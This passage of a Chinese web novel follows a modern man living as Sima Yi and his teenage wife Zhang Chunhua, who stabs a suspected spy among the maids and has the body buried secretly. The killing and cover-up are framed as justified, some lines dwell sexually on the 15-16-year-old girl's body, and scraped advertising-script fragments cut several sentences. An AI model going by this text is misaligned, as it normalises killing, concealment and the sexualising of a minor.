张春华想阻止他都来不及,只能摇头苦笑,继续吩咐横槊和韵竹,“罢了,我们也抱着书去晒吧。这晒一天怕是远远不够,明日、后日还得继续。” 韵竹叹息:“真羡慕公子精力充沛,让他做什么都兴致满满的模样。”当然,除了读书。 张春华莞尔。 到他们四人有先有后,有力气大小,分别运了许多趟,才将书房里的大半书册都运到庭院里摊开、摆放。 张春华和韵竹站在廊庑下揉肩捶腿、擦汗。 司马毅依旧精力充沛,坐着轮椅于庭院中笑问远处的张春华,“好了,该搬的书都搬出来了,接下来,我们做什么,春华?” 张春华还没开口,韵竹抢先到:“休息!” 只是,韵竹话刚说完,自廊庑尽处匆匆走来一个婢子,到了近旁,拜见张春华和司马毅道:“见过公子、少夫人。” “少夫人,前院来了书信,说是粟邑县张大人寄给少夫人的家书,还有些礼物。家主让少夫人领着下人去搬。” 张春华和韵竹闻言,面上一喜。 她们着急地便是要走。 司马毅难得见张春华如此高兴,满面的笑意渗入眼眸中,眼眸弯弯作月牙状。 司马毅随之吩咐身侧的横槊,“你也去帮着春华她们搬下东西吧。” 横槊领命称诺。 三人跟着那侍女一道往院外走去,到了尽头,张春华突然回过身来,认真地告诉司马毅,“这些书就放在外面晒着就行。你若是嫌热,早些进屋里休息。无论发生什么都不用管,尤其不必逞能要站起来。诸事等我们回来再说。” 张春华对司马毅实在心有余悸。 司马毅则是不以为然地朝张春华挥手,一副没什么耐心的样子,嘴上只道:“放心放心。”心里想得却是,小姑娘一天到晚操得心还真不少,他又不是傻子,自上次玩雪被张春华警告过后,定然不会再轻易站起来。 除非情况实在紧急…… 司马毅下意识还朝周围环顾了一圈,确定没有不熟悉的其他人。 12. 第十二章 张春华这一去,就是良久。 司马毅自庭院中回到书房,在书房还剩下的古籍中,随便选了本《春秋》来读,刚看向第七根竹简,便昏昏沉沉地倒在轮椅上小憩。 一觉好眠。 等司马毅再醒来,窗外的日头并未西移多少。只不过原本明媚、晴朗的天际,突然变得灰暗、阴郁。眼瞅着太阳的明光越来越弱,司马毅惊觉不好,这天象怕是马上要下雨。 正思考该如何处理室外晾晒的那些书籍间,一道惊雷突然炸开,“轰隆”一声,伴随着闪电,仿若要将万里高空撕作两半。 司马毅先是捂着耳朵,而后面上又露出焦急来,匆忙推着自己往廊庑下,细去查看庭院中那些即将被雨水打湿的书籍。 如今,张春华、韵竹和横槊都不在,周围没有侍奉、可供使唤的其他人,若是自己不站起来的话,一定无法挽救这些古籍。 可是,张春华临走前,千叮铃万嘱咐,无论如何自己不能擅自弃了轮椅。 但早前张春华也说过,自己的书房内有不少孤本,像是什么古籍《尚书》,诗书礼易乐春秋中,在后世早已遗失的六经之一《乐》。 即使他本没多喜爱读书,更不是古代汉语言文学的爱好者,也不免还是会为这些孤本感到可惜。 司马毅纠结间,一时没动,转瞬便听“滴答滴答”的声音在耳边响起。不过须臾,“滴答”又变作“哗啦”声,廊庑之外的天地被笼罩在一片巨大的雨幕中。 那些竹简、画卷在风雨地吹打之下,伶仃、飘摇。竹简或许还好,只是从原本的浅黄被浸染成深黄,不断地滑落有颜色的水滴。但画卷随着风雨地侵入,有的被展开、卷走,画上的痕迹一点一点变得斑驳、凌乱,更有甚者,彻底被淋湿,以致使得纸帛柔软、脆弱,稍再一拉扯、打击,呈四分五裂之势。 这些书简、画卷即便有的在当今之世还算不上稀有、珍贵,可于来自一千八百多年后的司马毅来说,任何一样能被他带回未来的话,一定价值连城。 司马毅再顾不得张春华临行前的嘱托,只觉得自己若是再不施以援救的话,只怕会心如刀绞。故而,当即弃了轮椅,自廊庑下站起身,跑入雨幕中,匆忙地收拢书简、画卷,将它们一次性尽可能多地抱回来。 纵然张春华发现以后,要骂他的话,他也实在是情有可原。况且,他一边跑入雨幕中,一边大致地环顾过,周围之内并没有任何人影。莫说是人影,就连猫影、鸟影也实在没有一个。 司马毅心无旁骛地搬运书籍、画卷…… 张春华、韵竹和横槊他们本已是取了书信、抬了自粟邑县寄来的礼物,不慌不忙地往居住的院落中回。 眼见突然下起雨来,三人也十分担心被晒在院中的书籍、画卷,纷纷加快了脚步。到快靠近院门的廊庑下,估摸着雨已经下了一会,张春华更吩咐韵竹和横槊道:“就先将东西放在院外,有廊庑遮掩,想必也不会被淋湿,还是快些进去收书要紧。” 张春华并不指望司马毅能为此做什么,也着实不希望司马毅会做什么。若是他做了,反而是一种隐患。 韵竹和横槊异口同声地称诺,继而一前一后地匆匆往庭院中赶。 张春华在他们后面,先是将家书自袖笼中取出,细细地展平,寻了个箱奁中最宽敞、不会被挤压到的地方放进去,而后才加快步伐,跟上韵竹和横槊。 她回到院中的时候,巨大、连绵的雨幕之中已是有三个匆忙来回的身影。除了熟悉的韵竹和横槊的,还有一个已经湿透、高大的青年身影。 那身影巍峨,本该也挺拔,但由于要为书籍、画卷遮挡雨水,不得不微微弯曲。纵然有几分伛偻,依旧赏心悦目,给人以安全可靠之感。 只是这个身影的主人终究还是没有听从自己的嘱托…… 张春华长长地叹了口气,也没想着去责备,既是担心,又是心疼。她也能理解司马毅的选择,如今确实是逼不得已之时。 她转瞬便也准备走入雨幕之中,加入他们。但是在抬步的一瞬,忽然瞥见一个隐藏在正对着庭院的廊柱后面的灰粉身影。 这灰粉的颜色似是司马府侍女的统一装扮。 “是谁?谁在哪里?”张春华高朗出声,接着,调转步伐,迅速地往那廊柱后方而去。 张春华的手摸向了自己发间的一柄金钗。那金钗朴素的梨花样式,没有过多的雕琢,但是拔出来之后,可见钗尾远比寻常的发簪要尖锐、锋利得多。 即使是在灰暗的天色,也隐隐闪着冰冷的光华。 张春华一步一步,到了近处,变得缓慢而谨慎。 或许是知晓逃脱不掉,那个灰粉的身影,伴随着越渐临近的脚步声,从廊柱后方走了出来。确实是一个穿着司马府下人衣着的年轻侍女。 侍女不过十八九岁,小小的一张瓜子脸,眉眼清秀。 那侍女站到张春华面前,波澜不惊地福身、施礼,说道:“奴婢晚雪见过少夫人。” 张春华自上而下地打量这位名唤“晚雪”的侍女。她除了长相清秀外,身形也格外玲珑、窈窕,不似寻常女子的纤弱,而是温韧、有力。 张春华察觉她有些不同,更加郑重地发问:“你是哪个院子里的丫头,怎么会到二公子这里,躲在廊柱后面,鬼鬼祟祟地又是在做什么?” 那侍女依旧沉稳、冷静,至少面上未曾表露一丝仓皇,继续回答:“奴婢是大公子院里的。听闻二公子这里今日晒书,眼见就要下雨,又得知少夫人与韵竹妹妹和横槊小哥不在,大公子便派婢子前来帮忙。” “这不,刚进院中,还没来得及跑入雨下,便等到少夫人等人归来。”侍女温婉一笑。 张春华面上的警惕,闻言却是并未松动分毫。张春华又在问她,“我瞧你这模样,当是先于我等来到院中,既先人一步,缘何这么久没有上前帮忙?既没有帮忙,想必也看了一些不该看的东西。你且说说,你看到了什么?” 张春华目不转睛地注视着对面的侍女。侍女下意识地转眸向雨幕之中那个高大、巍峨的身影望去。 须臾,侍女回眸,赶忙跪拜在地,一派惶恐地颤声道:“启禀少夫人,婢子眼瞎耳聋,什么都没有看见,也没有听见。还请少夫人看在大公子一片好心的份上,饶恕婢子。今日所见所闻,婢子绝不会宣扬出去。” “还请少夫人饶命。”侍女嗓音凄楚。 她哭喊的声响、与张春华对峙的模样,渐渐也被雨中的司马毅等人注意到。横槊下意识惊唤一声“公子”,司马毅当即自雨中放下手里所有书籍和画卷,跑回另一头的廊庑下,寻着轮椅坐了回去。 横槊和韵竹也纷纷停下脚步,全神贯注地紧盯着张春华与那侍女。 司马毅推着轮椅往二人所在的对面廊庑而去。 张春华转眸,又向横槊望来,道:“横槊,这位侍女说她名唤晚雪,乃是在长兄院子里侍奉的。你在家中最久,可曾见过她?” 横槊认真地想了想,之后坦诚回答:“是,大公子院子里是有一个叫晚雪的婢子。好、好像确实是她这般模样。” 横槊此言一出,那婢子直起上半身,顿时眼眸生光。 张春华不慌不忙,又询问:“那她来家中几年了?身世可清白,是签了死契,还是招工?” “约、约莫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 三年余……应是死契。”横槊沉吟着,继续道,“当是时,公子新病,大公子怜惜二公子,欲为二公子新增侍女、仆役,但二公子全都拒了,买来的几个,包括这个晚雪,便分散在家主、大公子、三公子和其他几位小公子院里。” “也就是说,她是自仲达病后才来府上的?”张春华察觉出其中的不对,言简意赅地总结之后,郑声反问。 横槊不太确定,下意识地颔首,紧接着又是摇头。 那侍女听罢,当即又跪了下去,匍匐在张春华脚边,抱着张春华道:“少夫人明鉴,婢子孤弱,受大公子恩惠得入司马府,三年来尽心尽力侍奉,从未有错。少夫人若是不信,自可询问大公子过后,再来处置奴婢。” “奴婢贱命一条,自知窥探了主子们的秘密,没有好下场。即便是一死,奴婢也求少夫人将婢子交给大公子处置。”侍女晚雪声泪俱下。 司马毅已经到了二人近前,见状有些不忍,嗫嚅着小声:“春华,我瞧她确实不像撒谎模样,既是无心之失,惩处一番便罢了。若是真怕她说出去,便将她关起来也好。” 张春华听了,转眸意味不明地望向司马毅,不置可否。 良久,张春华看向晚雪,无奈叹息:“你起来吧。” 晚雪颤颤巍巍地直起身子。 “走吧。”张春华又说。 晚雪霎时感激涕零,“婢子感念少夫人大恩。” 而后她三步并作两步,状若逃命似地要往庭院外去。 忽而,张春华又叫住她,“等等。” 伴随张春华的声音,并非是追赶而上的脚步,换而是一道寒芒,自身侧划向侍女晚雪的面前,眼见一支锋利的金钗就快插进自己的身体,晚雪迅疾地转身躲避。 一套动作行云流水,避开了张春华的偷袭。 张春华冷笑,“既是孤弱侍女,又怎会有如此灵巧的身法?” 晚雪闻言一怔,随即望向近处一旁的司马毅,假装柔弱地栽在墙面上,仓皇道:“公子、少夫人,奴婢不明白你们在说什么?奴婢只是下意识地想要保护自己。还请公子为奴婢做主,公子……” 晚雪泣涕涟涟。 张春华上前要抓她,司马毅有些迟疑地阻止,“春华。” 张春华愤愤道:“妇人之仁。若是你今日放过她,明日死得说不定就是我们。” “可是,她还什么都没做,她也证实了自己的身份。”司马毅毫不犹疑地反驳张春华。 张春华微瞥了司马毅一眼,不屑一顾,继而看向庭院中,“韵竹,你来。还有横槊,若是你不想你家公子有难,应该明白要怎么做。” 话罢,俩人一起上前,并着张春华,将侍女晚雪围堵起来。 眼见形势不对,晚雪匆匆起身,先去推其中瞧起来最弱的韵竹。推得韵竹一个踉跄,她趁势撞开韵竹,继续往院外跑。 横槊下意识地扶住韵竹,张春华去追晚雪。紧追了一阵,张春华飞身将晚雪扑倒在地。晚雪拼命挣扎。 俩人一时上下不定,韵竹催促横槊,“别管我,去帮夫人。” 横槊便撇下韵竹,冲到前方,去帮张春华将晚雪按在地上。 张春华举了金钗。 司马毅惊呼道:“你要做什么,害人性命吗?就算她真的是曹操的细作、会出卖我们,我们也绝不能随便动手、违法犯罪。” 就在司马毅话音刚落,又一道惊雷炸开,依旧伴随着闪电。闪电照亮了灰暗的廊庑,廊庑之下,稚幼的少女手举金钗,毫不犹豫地扎入身下之人的心房,那人先是不安地摆动,之后因为痛苦扭曲,到渐渐没了生息,双目瞪出…… 13. 第十三章 肆虐的风雨之中,纤弱的少女由失去生息的尸体之上跌坐在血泊中。 猩红的颜色浸染她杏色的衣裙,使之变得灰暗、橘橙。 少女的手中还紧紧地攥着那支满是血渍的金钗,柔荑伴随着身体若飘零的画卷,微微地颤抖、摇晃。 良久,久到不知是第多少声惊雷伴随着闪电之后。 少女突然十指一松,金钗从掌心跌落至地面,发出“哐当”声响,又稍稍翻滚,裹挟着浓稠的血渍略略溅起。血渍在空中飘扬了一阵,慢慢地才重新落下,轻轻的“啪嗒”声之后,与原本的血泊再次融为一体。 这些细微的响动敏锐地唤回因为惊恐、错愕而失神的司马毅的思绪。 司马毅的鹰眸瞠大,几近浑圆,死死地盯着那具躺在地上宛若木偶般扭曲、残破的尸体。 他抑制不住地哑着嗓子,嘶声询问跌坐于地的少女,“张春华,你知不知道你到底在做什么?你杀人了,杀人了,你知道吗!” 司马毅激动得似乎已经忘却了行走,想要再次从轮椅上站起来,然而他努力了半晌,却只是数次无力地跌坐回去,最终只能放弃。 他转眸,双目猩红、氤氲地注视着面前的少女。 少女的身形又在颤抖了好一会,到司马毅嘶吼的余音完全消失在回环的廊庑之间,她抬眸,与那质问、责备的眼色,四目相对。 张春华没着急回答司马毅的问询,扶着地面、墙垣,缓慢、颤颤巍巍地站起。 她离地的裙摆牵连一片被拉长的血丝。 司马毅的眼神更多了无数沉痛与不忍。 张春华慢慢地开口:“韵竹,你帮着横槊去在旁边的花圃里挖一个大坑,将尸体埋进去、压实,再移植些花树,只当什么都没有发生过。” 韵竹和横槊原本也在怔愣之中。 闻言,韵竹还没反应过来,横槊已是恍然道:“小的明白。” 话罢,横槊拉着还僵在原地的韵竹大步流星地往雨幕之中走去。 雨水似乎更紧了,张春华很快就有些看不清韵竹和横槊的背影。 张春华转身,也想往雨中去,让这大自然的甘霖洗清自己身上的血渍。 只是,她刚挪动,便被一股巨大的力道牵扯住。那个力道抓着她的手腕,一把带过她的身子,逼迫她继续与那个质问自己的眼神对视。 司马毅的嗓音更加急促、躁郁,重复:“张春华,我在问你话!你杀人了,你知道吗,你为什么要杀了她,即使她知道了我们的秘密又怎样,你凭什么有权擅自决定别人的生死?” 这一字一句宛若冰冷的刀刃在切割张春华本就恍惚、支离的心肺。 张春华垂眸,一顿一顿地收敛离散的心神,目光渐渐汇聚、恢复清明,以及显露出前所未有的冷漠和平静。 张春华猛地抬起自己的手臂,欲甩开司马毅的钳制,奈何力道有所差距,未能如愿,只得冰冷启唇:“放开!” 司马毅抓她却是更用力了些。 司马毅又在说道:“你到底明不明白自己做了什么?只是因为秘密泄露,便随意动手杀人?你这是违背律法、草菅人命!” “你不是世家出身的名媛淑女吗,该当守礼知节、柔柔弱弱、手无缚鸡之力才对,怎能如此视人命和律法若无物?” “张春华,你跟我走,我们去投官、自首。” 司马毅一字一顿,掷地有声。 张春华听罢,却是目色玩味,先是讥讽一笑,而后波澜不惊,淡淡说道:“人命、律法?投官、自首?司马毅,我说错了,你并非失了忆就没了神智,而是连脑子也坏掉了。主家杀掉了签有自家死契的奴仆,算是什么罪?” “便是我真有罪,在这衰微、混乱的世道也算不上罪。这世道每天都有人死,或是饿死、累死、被人杀死……怎么不见有人为他们出头,要让那些杀死他们的人伏法?” “就是你,你便没有杀过人吗?” 张春华认真反问。 司马毅闻言一顿。他倒是从没想过之前真正的司马懿会不会是一个心狠手辣的人。就算如今想来,按照历史上的记载,该当是的。就算张春华的说法全都没有错,在这个乱世谁都会、谁都有可能杀人,可是: “可是如今的我早已不是当初的我,无论从前的我有没有杀过人、会不会杀人,现在的我都不会再杀人。我的心里自有律法、道义,明白这世上人命可贵,任何人任何身份都不得轻贱之。” “假仁假义。”张春华讥诮一声。 “你说你不会再杀人,就一定不会了吗?如今的你是脑子坏了,人也孬了,才根本不明白这本不是什么人命可不可贵之事。而是,她不死,我们就要死,不仅是我们,我们的父母亲长、手足兄弟都会死。”张春华也渐渐有些嘶声。 司马毅则是微微发懵,迷茫反问:“为什么?” “为什么?”张春华觉得好笑,面上也真的露出笑容来,明明既灿烂又明媚,在此情此景之下却只让人觉得阴森。 张春华接着道:“是你要假装有病,躲避曹操的征辟的。你以为曹操是什么人,与你畅谈人命、律法的善类吗?不,他是会为了自己连妇孺都不放过的枭雄,他会在自己儿子因自己的色欲而死后,没有任何愧疚。会在攻下城池之际,坑杀所有手无缚鸡之力的臣民。” “你与我说人命、律法,不如与他去说。看他会不会瞧在你假仁假义的份上,放过我们一命?” “你不怕死,我怕。你不想活了,乃至是不惜拖累整个司马氏,也请你不要拖累我,不要拖累我们张氏。” “我嫁你为妇,若是因你而死,是我活该。可是我的父母族亲又做错了什么?只因为信守承诺、践行旧日婚约,就要陪着你一起去死吗?” “司马懿,你仁义道德,在意一人之生死。我没那么圣贤英伟,我只在乎我自己、我的父母族亲。我可以毫不犹豫地杀死一个对我、对他们有威胁的人,即使是第一次,也决不允许那个人有任 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 何生还的可能。” 张春华又在抬手,努力尝试挣脱司马毅的钳制。 司马毅听了她的话,只觉得字字诛心,整个人怔忡着,一时也没再维持先前的力道,叫她轻易挣脱而去。 当张春华走入雨幕之中,纤弱的身躯被雨水包裹、淋湿。明明是那样柔弱的一个女子,眼眶都被雨水浇红了。可司马毅感受到了无法忽视的坚韧和勇敢。 她考虑得其实没错,如果这个叫晚雪的侍女不死的话,死的或许就是自己和她,乃至是自己和她的整个家族。 司马毅不是不知道曹操心狠手辣、乱世残忍,但那从前都是书本和历史上遥远而缥缈的事情,如今真到了自己眼前,一时之间实在难以接受。 司马毅望着那纤弱、坚强的身影,又在高声:“但无论如何那都是一条活生生的人命啊。” 司马毅的目光自张春华的身上缓慢地下移、收近,直至眼下没有挪动分毫、僵硬且死气沉沉的尸体之上。 死去的晚雪也还只是个十八九岁的少女。 她这样的年纪在未来当是已经高考过了,正期待着马上就要开始的大学生活。 可是,这个时代的晚雪再没有期待了。 这个时代,这是一个什么样的时代啊?司马毅轻呵,自然垂放在轮椅扶手之上的双掌紧握成拳,而后狠狠地捶了下去。 这是一个即使自己没有窥见全貌,也觉得十分残忍的时代。 未满二十岁的少女会在朝夕之间身消命陨。而杀了她的另一位少女,也才十五六岁。十五六岁满是天真烂漫的年纪,可张春华已经在杀人了。 张春华说她是第一次杀人,司马毅也瞧出来她在杀死晚雪之后的痛苦和彷徨。但因为救了自己和全族的人,比起难过,她不得不庆幸。甚至因为司马毅的惶恐和无能,她还必须强迫自己保持冷静,好处理后面的事情。 这样一个被时代逼迫着不得不早熟的少女,司马毅既同情她,又畏惧她。 司马毅怕自己有一日也会变成张春华的钗下亡魂。就算他信任张春华,认定张春华不会杀害自己。可是焉知自己在别人面前不会也是另一个晚雪? 司马毅以为,这个时代谁爱穿越换谁来。这个司马懿,谁爱当谁来当。反正他是怕了,等日后有机会,他是一定要逃的。就算逃到深山老林,衣食皆无,也不要随便把性命交待在别人手里。 司马毅所在的廊庑之外,韵竹和横槊拿着铁铲,已经挖好了一个一人大的坑洞。他们冒着雨又回到廊庑下,欲去搬运尸体。因为雨水湿滑,纵然横槊一个男子,也并不轻松。韵竹力气小,帮不了他许多。 张春华亦走进来,沉稳说道:“我和韵竹抬她的腿,横槊你只管拖手就是。” 司马毅始终不明白这两个女子是怎么敢做这些的。 但眼见她们实在艰难,司马毅站起来,只道:“我来吧,终究是因为我才杀的人。” 只这一次,从此以后,他一定躲得远远的。 14. 第十四章 自寝居的门扉向外望去,庭院右下角的花圃中有一片被新翻过的泥土,上植还稚幼的细金桂树,围绕着金桂树一圈,又栽有枝繁叶茂的菊英丛。 若是到了秋日的话,一定会是繁花锦簇、馨香浓郁。 可司马毅以为,他是看不太到金桂树长大了,也并不想看。 或许是神智不清、心有余悸的缘故,司马毅总觉得那片棕黑的土地隐隐泛着深红的血色。 再回想早前搬弄尸体所见的一切,终是再憋忍不住。司马毅疾步到廊庑之外,扶着近处的梁柱,弯腰呕吐起来。 他肠胃翻涌的声音颇大,吸引了屋室内的张春华、韵竹和横槊三人纷纷投来目光。 三人虽皆是看向他,但口中的言语同他关系不大。 张春华对二人说道:“自今日起,整个院中寻常侍奉者,除了你们二人,谁也不得擅入。另外打听清楚其他侍女、仆役的底细,但凡是在仲达称病的这三年内入府的,全都以各种缘由打发出去。” 二人不疑有他,恭敬地异口同声称诺。 韵竹话罢,更道:“夫人淋了雨,该觉得寒凉吧?婢子这就去烧水,准备浴汤,来为夫人沐浴梳洗。” 张春华闻言却是摇了摇头,一边向茶案前走去,倒茶,一边回复道:“我还好。倒是你和横槊淋得雨水远比我多。出去的时候吩咐其他人烧水、备浴汤便可。你们也都快些回去,洗个热水澡、换身干净衣裳,好好休息,今日便不用再过来伺候了。” “可是,夫人,我、我不放心你。”韵竹欲言又止地急切开口,望向张春华的目光满是担忧。 张春华见状,对她回以宽慰的一笑,如若无碍地又在摇头。一边虚推了推韵竹,说道:“好了,你们都下去吧。”一边端着刚刚倒好的冷茶,往门扉外走。 她到廊庑之外把茶递给司马毅。 韵竹张了张唇,又想说什么,“夫人……”但是,被横槊打断。横槊拉着她道,“好了,既然少夫人叫我们下去,我们下去就是。有公子在,定会照顾好少夫人的。” 韵竹直被拖出了寝居。临走前瞥了面色惨白的司马毅一眼,不满地喃喃:“就公子那样,怎么照顾夫人啊,不让夫人照顾他就不错了。” 若非她家夫人如今已经嫁了,须显得与新婚郎君关系亲近些,韵竹才不相信、管顾什么司马毅,定是要在发生事情后,一直陪在张春华身边的。 韵竹与横槊的背影越走越远。 司马毅刚抬手,欲去接过来人递上的茶盏。 司马毅下意识感激地道:“多谢。”而后直起腰身,回眸望向身后的来人。 见来人是张春华,他不由自主地浑身一凛,接着定睛。 张春华全身都湿了,衣服黏腻地紧贴在周身,有的地方布料薄,隐隐可见粉白的肌肤。 她尽管在女子中不算太纤弱,但站在自己面前还是娇小得可怜。只不过如此娇小玲珑、才十五六岁的身躯,该有的曲线竟一点都不少,微微隆起的小胸,以及盈盈不堪一握的瘦腰。 司马毅又面上一热,急促地转过脸去,结巴着重复:“多、多谢……” 这才正式接过张春华递过来的茶盏。 张春华灿然扬唇,发出轻轻的嬉笑声,随之短暂叹息,释然地与司马毅说道:“刚才吓着你了吗?我以为你或许从未手染鲜血,但也不会觉得这是什么了不得的事。只是没想到,你……” 张春华又在轻笑。 司马毅莫可奈何地接话,“没想到我如此弱鸡,不仅没见过杀人,而且连瞧一下、帮着搬运尸体都会呕吐成这样?我在你们这些古……人的心里,是不是很没用?” 司马毅刻意将“古人”二字说得既轻又小,好叫张春华听不太清。 张春华努力辨认了一下,没辨认出来,便没纠结,只回答:“是比我想得弱一些。但是你失忆了,情有可原。” “喝口茶吧,会让心里好受一些。”张春华又指了指司马毅手中的杯盏。 司马毅听话地将茶盏放到唇边,猛饮了几口。微凉的茶水下肚,确实叫他肠胃间翻涌的热流平复下去不少。 司马毅稍稍恢复,遂引张春华又道:“我们回屋吧。虽然还是夏天,算不得冷,但是你到底受了寒,还如此狼狈的样子,叫其他人看见不好。” 张春华信然地点点头,跟着司马毅一起走回屋室内。 到了屋子里,司马毅将手中的茶盏放回到茶案上。张春华又去到内室取了两条干净的布帕出来,一条又是递给司马毅。 司马毅再次道:“多谢。” 张春华轻嗯,而后也不管他,顾自地擦起自己的头发和身子。 司马毅一边也擦自己,一边望她形容凌乱,虽然不复平日里的精致、沉稳,但是多了几许返璞归真的自然和淳朴。 司马毅迟疑着又道:“你既是世家出身,怎么好像会些武艺,又随身将那样锋利的金钗带在身上?” 名媛淑女不都该是娇软柔弱的吗? 司马毅的目光过于好奇,惹得张春华先是微愣,而后坦然回答:“我们粟邑县是小城小乡,距离京畿并不太近,故而常有匪寇、叛军途径。城兵虽然能抵抗大多的劫掠,但也难免会有不敌之时。若是匪寇、叛军入城,人心惶惶,得学会自保才行。” “虽然我还没遇到过,但我阿娘过世得早,我阿爹也不注重教我一些琴棋、女工。我喜欢看书,看书中写得那些混乱世道。我自以为比起做个手无缚鸡之力的闺阁女郎,还是会些防身之术更好,就央着府卫的顾大叔教我些拳脚,帮我打造一支锋利的金钗。没想到今日竟是派上了用场。” 说这些的时候,张春华的语气起先是温柔舒缓、娓娓道来,还带着些许俏皮和高兴。可说到今日用上这些的时候,她又不禁失落且怅惘。 司马毅想了想,安慰她,“虽然我不支持你草菅人命,但是你的思绪没有错。女子确实也该会些防身之术。尤其是在今天生死存亡之际,你能快刀斩乱麻,可谓女中豪杰。” “春华,我很佩服你。”司马毅笑着,朝张春华竖起了大拇指。 张春华不明所以地学着他的动作,询问:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是什么意思?” 小姑娘的大拇指莹白、纤长,看着叫人觉得欢愉。司马毅笑意更甚,解释:“就是称赞的意思。说你很棒、很厉害。” “其实,你也还可以。”张春华又对司马毅比了比大拇指。 司马毅来了兴致,郑声反问:“哦?怎么说?” 张春华笑笑道:“虽然你很愤慨,很不能理解我的行径,但是听完我的解释后并未一意孤行。甚至还出手帮了我与韵竹他们。你我尽管在思绪上有所不同,但你能谅解我。这于我来说是需要多谢你的事情。” 张春华话罢,还真就有模有样地拱手作揖,朝着司马毅盈盈一拜。 司马毅诚惶诚恐,赶忙伸手去扶她,说道:“你别折煞我了。是我该多谢你才对,你做这些有一部分是因为我。就算做法我不认同,但你是第一个为了我肯如此不顾一切的人。” 不顾一切到一个小小的少女鼓起所有的勇气,第一次用金钗割断了她人的心脉。即使她本身惶恐不已、惊慌万分。 司马毅抓张春华的指尖滚烫。 张春华不太适应这种灼人的温度,红着面颊,缓缓地将手抽出,无措地乱摆着,回答:“也、也没什么。” 她本就不是完全为了司马毅。就算有一部分是司马毅的原因,那也是她该做的。因为司马毅是她的夫婿啊。 可是她对于此,羞于启齿。 张春华不自然地向屋外望去,正巧望着一行端着浴汤进来的侍女仆役,恍若抓住了救命稻草一般,仓皇地转移话题道:“热水来了,你我分别沐浴吧。” 司马毅嗓音微沉,回答:“好。” 浴桶都被摆在了内室。但是,待侍女、仆役们都退下之后,张春华关了门,司马毅去到内室将其中一个推至外室,有些不自然地同张春华言说:“你去里面洗,我就在外面洗。有屏风和衣衫遮挡,我绝不会看你。我洗的时候也会背对着内室。” 张春华感恩地说道:“好。” 张春华亦步亦趋地紧着步子回到内室,先是拿了几件司马毅的衣衫,放在屏风之上。而后她退了几步,回到自己的浴桶旁边,从自己的视野望出去。 若隐若现的屏风之后,高大挺拔的青年面对着门扉、背对着自己,三下五除二地褪下湿透的衣衫。 张春华下意识地捂住自己的眼睑,告诫自己“非礼勿视”,但只须臾,她便将五指移到眼下,细细地欣赏那精壮的背脊。 纵然只是模糊的轮廓,也可窥见宽肩、窄腰。想来抱起来一定舒适、安心。还有,他的颈部线条清晰、有力,看上去是个康健、有力的男人。 男人迈步入了水中,水发出“哗啦”的声响。 张春华又在遮了一瞬的眼眸。细细聆听外室不断传来轻微地弄水声,捂着红透的双颊,总算放下心来,也开始脱自己的衣裳。 “仲达,你还在洗吗?” 外面的男子郑声:“嗯。我会多洗一会,等你洗好,换上干净的衣衫,转过身去,告知我一下,我再出来去屏风前拿衣物。” “好。” 15. 第十五章 夜晚安宁,除却虫鸣鸟啼,不余他声。 司马毅辗转于半张床榻间,时而双眸紧闭,只见满目血色;时而直视漆黑的帐顶,不由自主地回忆那日雨中的杀戮…… 总归是睡不着的。司马毅侧过身去,望向近旁一床被褥相隔、呼吸平稳的张春华。 借着朦胧的月色,隐约可以看见小姑娘安睡的容颜。清秀的面容沉静而柔和,纤长的睫羽轻轻地覆在下眼睑之上,纹丝不动,若两柄精致的折扇。 她乖巧的样子,让人一点也想不起,那日手起钗落、断人生息的阎罗竟是面前这个看起来柔柔弱弱、年轻稚幼、想要好生疼惜的妙龄少女。 果然,人不可貌相。 司马毅望着张春华,长长地叹了口气,而后果断翻身向内,面对着墙壁,宁愿满目皆茫茫之色,也不敢再多看张春华一眼。 司马毅再次闭上双眸,强迫自己什么都不要想了,赶紧入睡才是。 他也不知自己努力了多久,直到身后的少女先是发出细微的呢喃:“不要,不要过来……”而后,双手牵引着身躯不安地扭动,嘶声,“你再过来,我会杀了你的!” “对不起、对不起,我并非有心,可若是你不死,死的就会是我们。下辈子、下辈子,我一定给你偿命……”少女的嗓音渐渐染上了哭腔。 司马毅再装睡不住,担忧地回过身,再次望向枕边的少女。少女并未苏醒,甚至双眸比原先更加紧闭,睫羽挤压着眼睑,致使眉头都皱起来。 她每一次微动、呢喃,都会牵扯着原本折扇一般精致、稳当的睫羽慌乱地颤抖、摆动。 “不要,对不起,我不想杀你的。” 少女的眼角滑落一颗又一颗晶莹的泪滴。虽然感受不到湿润,但是斑斓的微光叫司马毅觉得夺目、刺眼。 司马毅不忍心少女再被梦魇所困,于是抬手覆上少女瘦削的肩胛,轻轻地摇晃着,柔声喊:“春华、春华,醒醒——” 张春华下意识地唤了一声“仲达”,而后猛地睁开眼睛,坐了起来。她紧盯着四周漆黑茫茫的夜色,迷蒙地眨了眨眼。 许是还没有完全清醒的缘故,只觉得满心的悲伤,无处可诉,眼泪也完全不听使唤,像断了连接一般,不受控制地往下掉落。 “仲达……”少女轻轻地重复一声。 司马毅随之也坐了起来,露面到她身前,替她抵挡无尽的黑暗,好让她触目便可望见自己。司马毅又在去扶她的双肩,郑重告诉她,“春华,别怕,你只是在做噩梦罢了。” 张春华懵里懵懂地看向司马毅。 就在司马毅以为她还在发愣、精神恍惚的时候,她突然一个倾身,倒在了自己怀中。少女的皓腕、柔荑划过自己敏感的腰线,在背后汇合,紧紧地牵连。 接下来,司马毅便愣住了。 他没有什么其他的感受,只觉得抱了满怀的温软与香馨。少女发间和身体的气味,若芝兰一般,从鼻尖直逼头顶,叫自己意乱神迷。 少女似乎还在哭,除了不断传来的细微啜泣声,还伴随着时间的流逝渐渐濡湿了自己前胸的衣襟。 司马毅怔愣了良久,直到胸前微寒,才稍微反应过来。司马毅手足无措了一阵,最后实在不忍,也抬手环上少女的背脊,轻拢掌心,拍了拍少女,以示安慰。 因为双臂收紧,司马毅更能感受到少女身形的玲珑和窈窕。小小软软的一只,好像略微抱着会滑脱一般,不由自主从微环到抱紧。 越是抱紧少女,他越是觉得心跳加速。越是心跳加速,又越想将少女抱得紧些再紧些,好叫她牢牢地贴着自己,感受自己身上的温暖,意识到她已经从噩梦中醒来。 不知多久之后,司马毅垂首在少女的发顶,安心得快要睡过去。少女突然猛地推开他,重新坐直。 